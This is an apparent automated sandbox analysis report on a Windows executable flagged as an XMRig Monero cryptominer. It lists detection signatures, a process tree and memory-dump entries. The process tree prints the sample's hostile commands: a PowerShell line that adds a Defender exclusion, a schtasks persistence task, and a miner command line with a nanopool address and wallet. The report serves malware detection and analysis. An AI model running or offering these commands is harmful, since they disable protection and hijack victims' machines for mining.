Analysis
- max time kernel
94s - max time network
163s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
22/01/2023, 16:14
General
- Target file.exe
- Size 2.6MB
- Sample230122-tpmnpsge46
- SHA256 8ac5c11ba9b64658cf080e1d05cbb594fdd4cdaef46db4da24a5a5d809bb50e6
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NOLAB" /tr "C:\ProgramData\Maker\NOLAB.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NOLAB" /tr "C:\ProgramData\Maker\NOLAB.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2360-151-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp
memory/2360-144-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp
memory/2360-135-0x00007FFCC1D50000-0x00007FFCC1D62000-memory.dmp
memory/2360-136-0x00007FFCA9060000-0x00007FFCA911D000-memory.dmp
memory/2360-137-0x00007FFCC4920000-0x00007FFCC4AC1000-memory.dmp
memory/2360-138-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp
memory/2360-139-0x00007FFCC4AD0000-0x00007FFCC4AFB000-memory.dmp
memory/2360-140-0x0000000000F30000-0x00000000012AE000-memory.dmp
memory/2360-141-0x00007FFCA8A00000-0x00007FFCA8B4E000-memory.dmp
memory/2360-142-0x0000000000F30000-0x00000000012AE000-memory.dmp
memory/2360-143-0x0000000000EC0000-0x0000000000F03000-memory.dmp
memory/2360-154-0x00007FFCA4DE0000-0x00007FFCA4E15000-memory.dmp
memory/2360-145-0x00007FFCC3E30000-0x00007FFCC3E57000-memory.dmp
memory/2360-166-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp
memory/2360-165-0x0000000000F30000-0x00000000012AE000-memory.dmp
memory/2360-157-0x00007FFCC3200000-0x00007FFCC323B000-memory.dmp
memory/2360-155-0x00007FFCA4E20000-0x00007FFCA4F22000-memory.dmp
memory/2360-150-0x0000000000F30000-0x00000000012AE000-memory.dmp
memory/2360-134-0x00007FFCC5C20000-0x00007FFCC5CBE000-memory.dmp
memory/2360-133-0x00007FFCA9120000-0x00007FFCA91CA000-memory.dmp
memory/2360-156-0x00007FFCC61C0000-0x00007FFCC622B000-memory.dmp
memory/2936-149-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp
memory/2936-147-0x000001D650B50000-0x000001D650B72000-memory.dmp
memory/2936-148-0x00007FFCA79B0000-0x00007FFCA8471000-memory.dmp
memory/3500-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3500-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3500-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3500-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3500-162-0x000002733FB60000-0x000002733FB80000-memory.dmp
memory/3500-171-0x00000273414A0000-0x00000273414C0000-memory.dmp
memory/3500-164-0x0000027341460000-0x00000273414A0000-memory.dmp
memory/3500-170-0x00000273414C0000-0x00000273414E0000-memory.dmp
memory/3500-167-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/3500-169-0x00000273414A0000-0x00000273414C0000-memory.dmp
memory/3500-168-0x00000273414C0000-0x00000273414E0000-memory.dmp